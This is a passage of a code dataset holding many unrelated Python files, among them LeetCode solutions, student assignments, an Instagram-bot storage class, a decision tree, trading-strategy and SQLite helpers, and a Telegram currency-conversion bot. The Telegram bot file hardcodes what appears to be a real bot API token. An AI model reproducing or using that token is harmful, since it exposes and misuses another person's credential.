curr_length\n\n # Reset curr_length\n curr_length = 0\n\n # if the whole list is increasing, then set max_length = curr_length\n # plus the end item which we haven't yet counted\n curr_length += 1\n if curr_length > max_length:\n max_length = curr_length\n\n return max_length\n\nimport unittest\n\nclass TestFindLengthOfLCIS(unittest.TestCase):\n\n def setUp(self):\n self.solution = Solution()\n\n def test_example_1(self):\n nums = [1,3,5,4,7]\n output = 3\n self.assertEqual(\n self.solution.findLengthOfLCIS(nums),\n output\n )\n\n def test_example_2(self):\n nums = [2,2,2,2,2]\n output = 1\n self.assertEqual(\n self.solution.findLengthOfLCIS(nums),\n output\n )\n\n def test_small_array_1(self):\n nums = [2]\n output = 1\n self.assertEqual(\n self.solution.findLengthOfLCIS(nums),\n output\n )\n\n def test_small_array_2(self):\n nums = []\n output = 0\n self.assertEqual(\n self.solution.findLengthOfLCIS(nums),\n output\n )\n\n def test_whole_list_increasing(self):\n nums = [1,3,5,7]\n output = 4\n self.assertEqual(\n self.solution.findLengthOfLCIS(nums),\n output\n )\n\n def test_second_part_increasing(self):\n nums = [1,3,2,7,8,9,10,11,12,13]\n output = 8\n self.assertEqual(\n self.solution.findLengthOfLCIS(nums),\n output\n )\n\n def test_leetcode_example_1(self):\n nums = [1,3,5,4,2,3,4,5]\n output = 4\n self.assertEqual(\n self.solution.findLengthOfLCIS(nums),\n output\n )\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"leetcode/674-Longest_Continuous_Increasing_Subsequence_EASY.py","file_name":"674-Longest_Continuous_Increasing_Subsequence_EASY.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"121770416","text":"def atoi(string):\n ZERO = ord('0')\n\n val = 0\n power = 1\n for c in string[::-1]:\n val += power * (ord(c) - ZERO)\n power *= 10\n return val, type(val)\n\n\nif __name__ == '__main__':\n print(atoi(input('enter a number> ')))\n","sub_path":"atoi/atoi.py","file_name":"atoi.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"90142107","text":"import random, time\nSecret = \"Компьютер задумался\"\nCase = random.randint(1,1000)\nprint(Secret)\nprint(\"Число: \" + str(Case))\nMinimum = 1\nMaximum = 1000 \nAttempt = 0\nNumber = 0\nwhile Case != Number :\n Attempt = Attempt + 1\n Number = Number = int((Maximum+Minimum)/2)\n time.sleep(1)\n print(str(Attempt) + \". Попытка: \" + str(Number))\n if Number < Case : \n print(\"меньше\")\n Minimum = Number\n if Number > Case :\n print(\"больше\")\n Maximum = Number\nprint(\"Угадал после \" + str(Attempt) + \" попыток.\")\n","sub_path":"python_for_kids/book/Projects/raten6.py","file_name":"raten6.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"69236965","text":"import json\nimport logging\nimport os\nfrom datetime import datetime, timedelta\nfrom enum import Enum, unique\n\nlogger = logging.getLogger(__name__)\n\nFILENAME_INTERACTED_USERS = \"interacted_users.json\"\nUSER_LAST_INTERACTION = \"last_interaction\"\nUSER_FOLLOWING_STATUS = \"following_status\"\n\nFILENAME_WHITELIST = \"whitelist.txt\"\nFILENAME_BLACKLIST = \"blacklist.txt\"\n\n\nclass Storage:\n interacted_users_path = None\n interacted_users = {}\n whitelist = []\n blacklist = []\n\n def __init__(self, my_username):\n if my_username is None:\n logger.error(\n \"No username, thus the script won't get access to interacted users and sessions data\"\n )\n return\n\n if not os.path.exists(my_username):\n os.makedirs(my_username)\n self.interacted_users_path = my_username + \"/\" + FILENAME_INTERACTED_USERS\n if os.path.exists(self.interacted_users_path):\n with open(self.interacted_users_path) as json_file:\n self.interacted_users = json.load(json_file)\n whitelist_path = my_username + \"/\" + FILENAME_WHITELIST\n if os.path.exists(whitelist_path):\n with open(whitelist_path) as file:\n self.whitelist = [line.rstrip() for line in file]\n blacklist_path = my_username + \"/\" + FILENAME_BLACKLIST\n if os.path.exists(blacklist_path):\n with open(blacklist_path) as file:\n self.blacklist = [line.rstrip() for line in file]\n\n def check_user_was_interacted(self, username):\n return not self.interacted_users.get(username) is None\n\n def check_user_was_interacted_recently(self, username):\n user = self.interacted_users.get(username)\n if user is None:\n return False\n\n last_interaction = datetime.strptime(\n user[USER_LAST_INTERACTION], \"%Y-%m-%d %H:%M:%S.%f\"\n )\n return datetime.now() - last_interaction <= timedelta(days=3)\n\n def get_following_status(self, username):\n user = self.interacted_users.get(username)\n if user is None:\n return FollowingStatus.NOT_IN_LIST\n else:\n return FollowingStatus[user[USER_FOLLOWING_STATUS].upper()]\n\n def add_interacted_user(self, username, followed=False, unfollowed=False):\n user = self.interacted_users.get(username, {})\n user[USER_LAST_INTERACTION] = str(datetime.now())\n\n if followed:\n user[USER_FOLLOWING_STATUS] = FollowingStatus.FOLLOWED.name.lower()\n elif unfollowed:\n user[USER_FOLLOWING_STATUS] = FollowingStatus.UNFOLLOWED.name.lower()\n else:\n user[USER_FOLLOWING_STATUS] = FollowingStatus.NONE.name.lower()\n\n self.interacted_users[username] = user\n self._update_file()\n\n def is_user_in_whitelist(self, username):\n return username in self.whitelist\n\n def is_user_in_blacklist(self, username):\n return username in self.blacklist\n\n def _get_last_day_interactions_count(self):\n count = 0\n users_list = list(self.interacted_users.values())\n for user in users_list:\n last_interaction = datetime.strptime(\n user[USER_LAST_INTERACTION], \"%Y-%m-%d %H:%M:%S.%f\"\n )\n is_last_day = datetime.now() - last_interaction <= timedelta(days=1)\n if is_last_day:\n count += 1\n return count\n\n def _update_file(self):\n if self.interacted_users_path is not None:\n with open(self.interacted_users_path, \"w\") as outfile:\n json.dump(self.interacted_users, outfile, indent=4, sort_keys=False)\n\n\n@unique\nclass FollowingStatus(Enum):\n NONE = 0\n FOLLOWED = 1\n UNFOLLOWED = 2\n NOT_IN_LIST = 3\n","sub_path":"GramAddict/core/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"235909372","text":"\"\"\"\n\tLongest multiple repeat\n\tLinear time (*) and space\n\t(*) excluding O(|S| log |S|) time for suffix tree construction\n\"\"\"\nfrom SUFFTREE import SuffixTree\n\ndef leaves_rec(v, L):\n\t\"Recursively store in L[v] the n. of leaves in the subtree rooted at v\"\n\tfor c in v.child:\n\t\tleaves_rec(v.child[c], L)\n\tif not v.child: L[v] = 1\n\telse: L[v] = 0\n\tfor c in v.child:\n\t\tL[v] += L[v.child[c]]\n\t\ndef compute_leaves(T): \n\t\"\"\"Return a dictionary L with the number of leaves in each subtree of T\n\ti.e., L[v] == n. of leaves in the subtree rooted at v\"\"\"\n\tL = {}\n\tleaves_rec(T.root(), L)\n\treturn L\n\ndef longest_multiple_repeat(T, k): \n\t\"Return the longest k-repeat in the string represented by suffix tree T\"\n\tleaves = compute_leaves(T)\n\t# The longest k-repeat is at the deepest node having at least k leaves in its subtree\n\topt = -1\n\tv_opt = T.root()\n\tfor v in T.nodes: \n\t\tif leaves[v] >= k and v.depth > opt:\n\t\t\tv_opt = v\n\t\t\topt = v.depth\n\treturn T.path_data(v_opt)\n\ndef main():\n\tS = input()\n\tk = int(input())\n\tT = SuffixTree([S + '$'])\n\tprint(longest_multiple_repeat(T, k))\n\nif __name__ == '__main__': main()\n","sub_path":"LREP.py","file_name":"LREP.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"165166277","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 16 09:29:15 2016\n\n@author: miszk\n\"\"\"\nliczba = 101 \nn = len(str(liczba)) #len - dlugosc liczby\npotega = 1 \nsuma = 0\nfor i in range (0,n): #petla ma tyle iteracji co dlg liczby\n if liczba%10 == 1: #jesli jest jedynka\n suma = suma + potega #dodaj do liczby odpowiednia potege\n potega = potega*2 #przechodzimy do kolejnej potegi\n liczba = liczba//10 #zmniejszamy liczbe o ostatnia cyfre\n \nprint(suma)\n ","sub_path":"python programmes/systemy liczbowe/binarnynadziesiatkowy.py","file_name":"binarnynadziesiatkowy.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"506670866","text":"#Family name: Tara\n# Student number: 300018569\n# Course: IT1 1120 \n# Assignment Number: 5\n\ndef largest_34(a):\n \"\"\"(list of numbers) -> number\n Returns the sum of the 3rd and 4th largest number\n Preconditions: len(a) >= 4\n \"\"\"\n first = float(\"-inf\")#lowest possible numbers so will get replaced with larger\n second = float(\"-inf\")\n third = float(\"-inf\")\n fourth = float(\"-inf\")\n for num in a:\n if num >= first:\n fourth = third\n third = second\n second = first\n first = num\n elif num >= second:\n fourth = third\n third = second\n second = num\n elif num >= third:\n fourth = third\n third = num\n elif num >= fourth:\n fourth = num\n return third + fourth\n\ndef largest_third(a):\n \"\"\"(list of numbers) -> number\n Returns the sum of the largest third of numbers\n Preconditions: len(a) >= 3\n \"\"\"\n tmp = sorted(a, reverse=True)\n tmp = tmp[:len(a)//3]\n summation = 0\n for i in tmp:\n summation += i\n return summation\n\ndef third_at_least(a):\n \"\"\"(list of numbers) -> number or None\n Returns the value that occurs len(a)//3+1 times, if none\n exist returns None. If more than one exists returns smaller\n value\n Preconditions: len(a) >= 4\n \"\"\"\n \n tmp = sorted(a)\n third_of_a = len(a)//3\n third = None\n for i in range(len(tmp) - third_of_a):\n if tmp[i] == tmp[i+third_of_a]:\n if third == None:\n third = tmp[i]\n elif tmp[i] < third:\n third = tmp[i]\n return third\n\ndef sum_tri(a, x):\n \"\"\"(list of numbers, number) -> bool\n Returns True if a value a[i] + a[j] + a[k] = x exists.\n Otherwise returns False.\n \"\"\"\n tmp = sorted(a)\n for i in range(len(tmp)):\n j = i\n k = len(tmp) -1\n while j <= k:\n test_sum = tmp[i]+tmp[j]+tmp[k]\n if test_sum == x:\n return True\n elif test_sum > x:\n k -= 1\n else:\n j += 1\n return False\n","sub_path":"ASSIGNMENTS/assignment5-students/a5_part1_300018569.py","file_name":"a5_part1_300018569.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"303647051","text":"import pickle\n\ndef main():\n again = \"t\"\n output_file = open(\"info.dat\", \"wb\")\n\n while(again == \"t\"):\n save_data(output_file)\n again = input(\"Kontynuowac?\").lower()\n\n\n output_file.close()\n\n\ndef save_data(file):\n person = {}\n\n person['name'] = input(\"Imie: \")\n person[\"age\"] = int(input(\"Wiek: \"))\n person[\"weight\"] = float(input(\"Waga: \"))\n\n pickle.dump(person, file)\n\nmain()","sub_path":"Rozdzial9/pickle_test.py","file_name":"pickle_test.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"284104768","text":"# HESS CSV File Move\n# Palomino, Oct 23, 2017\n\ndef HESSfilemove(newFileName):\n\n # Import Modules\n import os\n\n prevFileName = newFileName\n #newFileLoc = r'C:\\Users\\Alex\\Box Sync\\Alex and Masood\\WestSmartEV\\Study Locations\\RMP North Temple Office\\Prelim Data\\Auto/'+str(newFileName)\n #newFileLoc = '\\exports'+str(newFileName)\n \n newFileLoc = r'C:\\\\Users\\\\Alex\\\\Documents\\\\GitHub\\\\HESS_Web_API_Call\\\\' + str(newFileName)\n\n print(newFileLoc)\n\n # Move file to newFileLoc\n os.rename(prevFileName, newFileLoc)\n\n\n","sub_path":"archive/HESS_File_Move.py","file_name":"HESS_File_Move.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"360369256","text":"from entropy import *\nfrom itertools import groupby\nimport operator\n\n\nclass DecisionTreeNode:\n\tdef __init__(self, name, children):\n\t\tself.name = name\n\t\tself.children = children\n\n\ndef create_distribution(data):\n\tunnormalized = { x: data.count(x) for x in data }\n\tnormalizer = sum(unnormalized.values())\n\treturn { key: value/normalizer for (key, value) in unnormalized.items() }\n\ndef attribute_to_index(name):\n\tif name == \"out\": return 0\n\telif name == \"temp\": return 1\n\telif name == \"hum\": return 2\n\telif name == \"wind\": return 3\n\treturn None\n\n\ndef get_values_for_attribute(data_entries, attribute):\n\treturn [line[attribute_to_index(attribute)] for line in data_entries]\n\n\ndef get_all_labels(data_entries, label_index):\n\treturn [line[label_index] for line in data_entries]\n\n\ndef compute_entropy(data_entries, label_index):\n\treturn entropy1(create_distribution(get_all_labels(data_entries, label_index)).values())\n\n\ndef information_gain(data_entries, attribute, label_index):\n\tentropy_before = compute_entropy(data_entries, label_index)\n\tvalues = get_values_for_attribute(data_entries, attribute)\n\tsub_tables = {value: [line for line in data_entries if line[attribute_to_index(attribute)] == value] for value in values}\n\tvalue_distribution = create_distribution(values)\n\tentropy_after = sum([value_distribution[value] * compute_entropy(sub_tables[value], label_index) for value in set(values)]) \n\tprint(\"Information gain for attribuet \" + attribute + \" is \" + str(entropy_before) + \" - \" + str(entropy_after) + \" = \" + str(entropy_before - entropy_after))\n\treturn entropy_before - entropy_after\n\n\ndef argmax(domain, func):\n\tmax_x = domain[0]\n\tmax_f_x = func(max_x)\n\n\tfor x in domain[1:]:\n\t\tf_x = func(x)\n\t\tif f_x > max_f_x:\n\t\t\tmax_x = x\n\t\t\tmax_f_x = f_x\n\n\treturn max_x\n\n\ndef contains_same_item(l):\n\treturn len(set(l)) == 1\n\ndef mode(l):\n\tcounts = { x: l.count(x) for x in l }\n\treturn max(counts.items(), key=operator.itemgetter(1))[0]\n\ndef make_decision_tree(data_entries, attribute_list, label_index):\n\tprint(len(data_entries))\n\n\n\tif len(data_entries) == 0: \n\t\treturn DecisionTreeNode(\"Default\", None)\n\n\telif contains_same_item(get_all_labels(data_entries, label_index)):\n\t\treturn DecisionTreeNode(data_entries[0][label_index], None)\n\n\telif len(attribute_list) == 0:\n\t\treturn DecisionTreeNode(mode(get_all_labels(data_entries, label_index)), None)\n\n\telse:\n\t\tnode = None\n\t\tattribute = argmax(attribute_list, lambda a: information_gain(data_entries, a, label_index))\n\t\tchildren = {}\n\n\t\tnode = DecisionTreeNode(attribute, children)\n\t\tprint(\"Chosen = \" + attribute, end=\"\\n\\n\")\n\n\t\tfor value in get_values_for_attribute(data_entries, attribute):\n\t\t\tsub_table = [line for line in data_entries if line[attribute_to_index(attribute)] == value]\n\t\t\t\n\t\t\t#print(sub_table, end=\"========================\\n\")\n\n\t\t\tsub_attribute_list = list(attribute_list)\n\t\t\tsub_attribute_list.remove(attribute)\n\t\t\tchildren[value] = make_decision_tree(sub_table, sub_attribute_list, label_index)\n\n\t\treturn node\n\ndef decide(root, features):\n\tcur_node = root\n\twhile (cur_node.children != None):\n\t\tcur_node = cur_node.children[features[cur_node.name]]\n\treturn cur_node.name\n\ndef print_decision_tree(root, condition=\"\", num_tabs = 1):\n\tfor i in range(0, num_tabs):\n\t\tprint(\"\\t\", end = \"\")\n\n\tif (root.children == None):\n\t\tif (condition != \"\"):\n\t\t\tprint(condition + \" -> \" + root.name)\n\t\telse:\n\t\t\tprint(root.name)\n\t\treturn\n\tif (condition != \"\"):\n\t\tprint(condition + \" -> \" + root.name)\n\telse:\n\t\tprint(root.name)\n\n\tfor (condition, child) in root.children.items():\n\t\tprint_decision_tree(child, condition, num_tabs + 1)\n\n\nif __name__ == '__main__':\n\n\n\tdata1 = [\n\t[\"sunny\", \"hot\", \"high\", \"weak\", \"no\"],\n\t[\"sunny\", \"hot\", \"high\", \"strong\", \"no\"],\n\t[\"over\", \"hot\", \"high\", \"weak\", \"yes\"],\n\t[\"rain\", \"mild\", \"high\", \"weak\", \"yes\"],\n\t[\"rain\", \"cool\", \"norm\", \"weak\", \"yes\"],\n\t[\"rain\", \"cool\", \"norm\", \"strong\", \"no\"],\n\t[\"over\", \"cool\", \"norm\", \"strong\", \"yes\"],\n\t[\"sunny\", \"mild\", \"high\", \"weak\", \"no\"],\n\t[\"sunny\", \"cool\", \"norm\", \"weak\", \"yes\"],\n\t[\"rain\", \"mild\", \"norm\", \"weak\", \"yes\"],\n\t[\"sunny\", \"mild\", \"norm\", \"strong\", \"yes\"],\n\t[\"over\", \"mild\", \"high\", \"strong\", \"yes\"],\n\t[\"over\", \"hot\", \"norm\", \"weak\", \"yes\"],\n\t[\"rain\", \"mild\", \"high\", \"strong\", \"no\"]\n\t]\n\n\tattributes1 = [\"out\", \"temp\", \"hum\", \"wind\"]\n\tlabel_idx1 = 4\n\n\n\n\n\n\n\n\tdata = data1\n\tattributes = attributes1\n\tlabel_idx = label_idx1\n\n\n\ttree = make_decision_tree(data, attributes, label_idx)\n\tprint_decision_tree(tree)\n\n\t","sub_path":"DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":4440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"481686213","text":"from bot.Indicators import AddIndicator\n\nclass EMACrossover:\n\n\tdef __init__(self, fast, slow):\n\t\tself.fast = fast\n\t\tself.slow = slow\n\n\tdef setup(self, df):\n\t\tself.df = df\n\t\tAddIndicator(self.df, \"sma\", \"sma_fast\", \"close\", self.fast)\n\t\tAddIndicator(self.df, \"sma\", \"sma_slow\", \"close\", self.slow)\n\n\tdef evaluate(self, i):\n\t\tdf = self.df\n\t\tif i > 0 and df['sma_fast'][i] >= df['sma_slow'][i] \\\n\t\t\tand df['sma_fast'][i-1] < df['sma_slow'][i-1]:\n\t\t\treturn df['close'][i]\n\t\treturn False\n\t\n\tdef getSignalsList(self):\n\t\tdf = self.df\n\t\tlength = len(df) - 1\n\t\tsignals = []\n\t\tfor i in range(1, length):\n\t\t\tres = self.evaluate(i)\n\t\t\tif res:\n\t\t\t\tsignals.append([df['time'][i], df['close'][i]])\n\n\t\treturn signals\n","sub_path":"bot/Strategies/EMAXStrategy.py","file_name":"EMAXStrategy.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"192900558","text":"from telegram.ext import Updater, CommandHandler, MessageHandler, Filters\n\n# pip install python-telegram-bot\n\nprint('Bot started. Press Ctrl+C to stop.')\n\ndef on_start(update, context):\n chat = update.effective_chat\n context.bot.send_message(chat_id=chat.id, text='Hello, I am Currency Bot!')\n\n\ndef on_message(update, context):\n chat = update.effective_chat\n text = update.message.text\n try:\n number = float(text)\n rate = 27.21\n uah = number * rate\n message = \"$%.2f = %.2f UAH\" % (number, uah)\n context.bot.send_message(chat_id=chat.id, text=message)\n except:\n context.bot.send_message(chat_id=chat.id, text=\"Gigits for convert, please!\")\n\n\ntoken = '5081558941:AAGj0WBAv_HHmH96xQoV5kplU4zoZZFtvJQ'\n\nupdater = Updater(token, use_context=True)\n\ndispatcher = updater.dispatcher\ndispatcher.add_handler(CommandHandler('start', on_start))\ndispatcher.add_handler(MessageHandler(Filters.all, on_message))\n\nupdater.start_polling()\nupdater.idle()","sub_path":"Telegram Bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"361954858","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 15 17:07:12 2016\r\n\r\n@author: Silvio\r\n\"\"\"\r\nimport os\r\nimport sqlite3\r\nimport numpy as np\r\nimport io\r\n\r\ndef namestr(obj, namespace):\r\n \"\"\" returns the name of the variables\r\n \"\"\"\r\n return [name for name in namespace if namespace[name] is obj]\r\n \r\ndef writeVarsToFile(filename, namespace, *args):\r\n \"\"\" stores variables to a file.\r\n Example: writeVarsToFile('example.txt', globals(), var1, var2)\r\n stores var1 and var2 into the file example.txt\r\n \r\n Note: structs and objects cannot be saved with this method\r\n \r\n :param filename: name of the file\r\n :param namespace: variables stored in the workspace (globals())\r\n :param *args: all the variables that are saved\r\n \"\"\"\r\n f = open(filename, 'w')\r\n for var in args:\r\n f.write(\"%s: %s\\n\" % (namestr(var, namespace),repr(var)))\r\n \r\n f.close()\r\n \r\ndef checkFolder(folder):\r\n \"\"\" checks if a folder already exists. If not, it is created together with a counter file \r\n \r\n :param folder: folder name\r\n \"\"\"\r\n if not os.path.exists(folder):\r\n os.makedirs(folder)\r\n return 1\r\n \r\n else:\r\n configFile = open('config.py','r').read()\r\n ini = configFile.find(\"counter\")+10\r\n rest = configFile[ini:]\r\n search_enter = rest.find('\\n')\r\n counter = int(rest[:search_enter])\r\n return str(counter+1)\r\n \r\ndef appendValue(filename, value):\r\n \"\"\" appends value of a variable to a file\r\n \r\n :param filename: name of the file\r\n :param value: value to store\r\n \"\"\"\r\n f = open(filename, 'a')\r\n f.write(\"%s\\n\" % value)\r\n \r\n f.close()\r\n \r\ndef adapt_array(arr):\r\n out = io.BytesIO()\r\n np.save(out, arr)\r\n out.seek(0)\r\n return sqlite3.Binary(out.read())\r\n\r\ndef convert_array(text):\r\n out = io.BytesIO(text)\r\n out.seek(0)\r\n return np.load(out)\r\n \r\ndef returnType(var):\r\n if type(var) == str:\r\n return 'text'\r\n if type(var) == float:\r\n return 'real'\r\n if var == None:\r\n return 'null'\r\n if type(var) == np.ndarray:\r\n return 'array'\r\n if type(var) == list:\r\n return 'list'\r\n if type(var) == int:\r\n return 'integer'\r\n\r\nparams = {\r\n 'date':'text',\r\n 'startTime':'text',\r\n 'counter':'integer',\r\n 'runningTime':'real', \r\n\r\n 'wavelength':'real',\r\n 'inputPower':'real',\r\n 'couplingEfficiency':'real',\r\n 'polarization':'text',\r\n 'mode':'integer',\r\n 'propagationLoss':'real',\r\n\r\n 'particleMaterial':'text',\r\n 'particleRadius':'real',\r\n 'n_p':'real',\r\n 'n_c':'real',\r\n 'n_f':'real',\r\n 'n_s':'real',\r\n 'd_f':'real',\r\n 'freeSpace':'integer',\r\n\r\n 'focalPoint':'real',\r\n 'coherentParticles':'integer',\r\n 'bindingProbability':'real',\r\n 'z_min':'real',\r\n 'z_max':'real',\r\n 'placement':'text',\r\n 'D':'real',\r\n 'D_max':'real',\r\n 'NA':'real',\r\n 'NA_max':'real',\r\n 'mologramCovered':'real',\r\n 'braggOffset':'real',\r\n\r\n 'dipolePositions':'array',\r\n 'dipoleMoments':'array',\r\n\r\n 'screenWidth':'real',\r\n 'screenPlane':'text',\r\n 'screenRatio':'real',\r\n 'npix':'integer',\r\n\r\n 'factorRequired':'real',\r\n 'scattererNeeded':'real',\r\n 'Z_w':'real',\r\n 'E_mean':'real',\r\n 'E_0':'real',\r\n 'E_sca':'array',\r\n 'I_sca':'array',\r\n 'I_background':'real',\r\n 'I_bwg':'real',\r\n 'I_tot':'array',\r\n 'I_ROI':'real',\r\n 'I_back':'array',\r\n 'AiryDiskRadius':'array',\r\n 'screen':'array',\r\n 'x-axis':'real',\r\n 'z-axis':'real'\r\n }\r\n \r\ndef createDB(filename, dbname, parameters):\r\n # Converts np.array to TEXT when inserting\r\n sqlite3.register_adapter(np.ndarray, adapt_array)\r\n # Converts TEXT to np.array when selecting\r\n sqlite3.register_converter(\"array\", convert_array)\r\n\r\n conn = sqlite3.connect(filename, detect_types=sqlite3.PARSE_DECLTYPES)\r\n \r\n sql = 'create table if not exists ' + dbname + str(parameters).replace(\"'\",\"\").replace(\":\",\"\").replace(\"{\",\" (\").replace(\"}\",\")\")\r\n conn.execute(sql)\r\n\r\n conn.commit()\r\n conn.close()\r\n\r\ndef saveDB(filename, dbname, variables):\r\n \"\"\"saves the variables stored in the params-dictionary\r\n \r\n :param filename: name of the database file (.db)\r\n :param dbname: name of the table in the database\r\n :param variables: variables stored during the simulations (globals())\r\n \"\"\"\r\n # Converts np.array to TEXT when inserting\r\n sqlite3.register_adapter(np.ndarray, adapt_array)\r\n # Converts TEXT to np.array when selecting\r\n sqlite3.register_converter('array', convert_array)\r\n\r\n conn = sqlite3.connect(filename, detect_types=sqlite3.PARSE_DECLTYPES)\r\n \r\n sql = 'create table if not exists ' + dbname + str(params).replace(\"'\",\"\").replace(\":\",\"\").replace(\"{\",\" (\").replace(\"}\",\")\")\r\n conn.execute(sql)\r\n \r\n c = conn.cursor()\r\n c.execute(\"select * from \" + dbname)\r\n fieldnames=[f[0] for f in c.description]\r\n\r\n liste = []\r\n sql = 'insert into ' + dbname + \" values (\"\r\n for param in fieldnames:\r\n sql += \"?,\"\r\n if param in variables:\r\n if params[param] == 'array':\r\n liste.append(variables.get(param,np.array([])))\r\n else:\r\n liste.append(variables.get(param,''))\r\n else:\r\n liste.append('')\r\n \r\n sql = sql[0:len(sql)-1] + \")\"\r\n \r\n conn.execute(sql, liste)\r\n conn.commit()\r\n conn.close()\r\n \r\ndef loadDB(filename, dbname, selection='*', condition=''):\r\n \"\"\"loads the variables stored in the params-dictionary\r\n \r\n :param filename: name of the database file (.db)\r\n :param dbname: name of the table in the database\r\n :param selection: use if only single parameters are to be loaded (eg. \"I_back\")\r\n :param condition: add a certain condition (e.g. \"where coherentParticles>5000\")\r\n \"\"\"\r\n \r\n sqlite3.register_adapter(np.ndarray, adapt_array)\r\n sqlite3.register_converter('array', convert_array)\r\n \r\n conn = sqlite3.connect(filename, detect_types=sqlite3.PARSE_DECLTYPES)\r\n c = conn.cursor()\r\n rows = c.execute(\"select \" + selection + \" from \" + dbname + condition)\r\n fieldnames=[f[0] for f in c.description]\r\n \r\n entries = []\r\n for row in rows:\r\n# print row\r\n \r\n if len(row) == 0:\r\n print('no such entry found')\r\n \r\n i=0\r\n entry = dict()\r\n for param in fieldnames:\r\n if params[param] == 'text':\r\n entry[param] = str(row[i])\r\n else:\r\n entry[param] = row[i]\r\n i += 1\r\n entries.append(entry)\r\n \r\n conn.close()\r\n return entries\r\n \r\ndef addColumns(filename, dbname, columnName, values):\r\n sqlite3.register_adapter(np.ndarray, adapt_array)\r\n sqlite3.register_converter('array', convert_array)\r\n \r\n conn = sqlite3.connect(filename, detect_types=sqlite3.PARSE_DECLTYPES)\r\n c = conn.cursor()\r\n rows = c.execute(\"select * from \" + dbname)\r\n if rows > 1 and (type(values) == 'np.array' or type(values) == 'list'):\r\n # add values to each row\r\n c.execute(\"alter table {tn} add column '{cn}' {ct}\"\\\r\n .format(tn=dbname, cn=columnName, ct=returnType(values)))\r\n c.executemany('update ' + dbname + ' set ' + columnName + ' = ?'\\\r\n ,((val,) for val in values))\r\n \r\n else:\r\n c.execute(\"alter table {tn} add column '{cn}' {ct} DEFAULT '{df}'\"\\\r\n .format(tn=dbname, cn=columnName, ct=returnType(values), df=values))\r\n \r\n conn.commit()\r\n conn.close()\r\n \r\ndef deleteColumn(filename, dbname, columnName):\r\n \"\"\" deletes a column from an existing table\r\n \"\"\"\r\n \r\n # load database settings (type array defined)\r\n sqlite3.register_adapter(np.ndarray, adapt_array)\r\n sqlite3.register_converter('array', convert_array)\r\n \r\n conn = sqlite3.connect(filename, detect_types=sqlite3.PARSE_DECLTYPES)\r\n c = conn.cursor()\r\n c.execute(\"select * from \" + dbname)\r\n \r\n # save column names of the selected table in a list\r\n fieldnames=[f[0] for f in c.description]\r\n # remove the column that will be deleted\r\n fieldnames.remove(columnName)\r\n \r\n # generate dictionary (to define corresponding type. Dictionary \"params\" must be defined above.)\r\n new_dict = {} \r\n for param in fieldnames:\r\n new_dict[param] = params[param]\r\n \r\n # rename table\r\n c.execute(\"alter table \" + dbname + \" rename to \" + dbname + \"_old\")\r\n # create new table with the new columns\r\n c.execute('create table ' + dbname + str(new_dict).replace(\"'\",\"\").replace(\":\",\"\").replace(\"{\",\" (\").replace(\"}\",\")\"))\r\n # copy values from the old table\r\n sql = \"insert into \" + dbname + \" (\" + str(fieldnames).replace(\"'\",\"\")[1:-1] + \")\"\r\n sql += \" select \" + str(fieldnames).replace(\"'\",\"\")[1:-1]\r\n sql += \" from \" + dbname + \"_old\"\r\n c.execute(sql)\r\n \r\n # delete old table\r\n c.execute(\"drop table \" + dbname + \"_old\")\r\n \r\n # execute sql command\r\n conn.commit()\r\n conn.close()\r\n \r\n ","sub_path":"src/Data_Acquisition/writeLogFile.py","file_name":"writeLogFile.py","file_ext":"py","file_size_in_byte":9485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"197403311","text":"import unittest\nfrom day2 import get_code\n\nclass Test_Day2(unittest.TestCase):\n\n\tdef test_get_code(self):\n\t\tcode = get_code((1, 1), ['ULL', 'RRDDD', 'LURDL', 'UUUUD'], new=False)\n\t\tself.assertEqual(code, '1985')\n\t\tcode = get_code((1, -1), ['ULL', 'RRDDD', 'LURDL', 'UUUUD'], new=True)\n\t\tself.assertEqual(code, '5DB3')\n\nif __name__ == '__main__':\n\tunittest.main()","sub_path":"python/day 2/tests_day2.py","file_name":"tests_day2.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"231906786","text":"#!/usr/bin/python3 \n# -*- coding:utf-8 -*-\n\nimport re\nfrom re import finditer\nimport random\n\nresult = {'type': \"\", 'provisions': [], 'risk': \"\"}\ndoc_type = ['a', 'b', 'c']\nlen_doc_type = len(doc_type)\nrisk = [True, False]\nlen_risk = len(risk)\nprov_type = [\n '.*([계약의\\s]*)해지.*', '.*([계약의\\s]*)변경', '.*지([식적]+)\\s*재산권.*',\n '.*손해\\s*배상.*', '.*지체\\s*상금.*', '.*대금\\s*지급.*']\npattern = 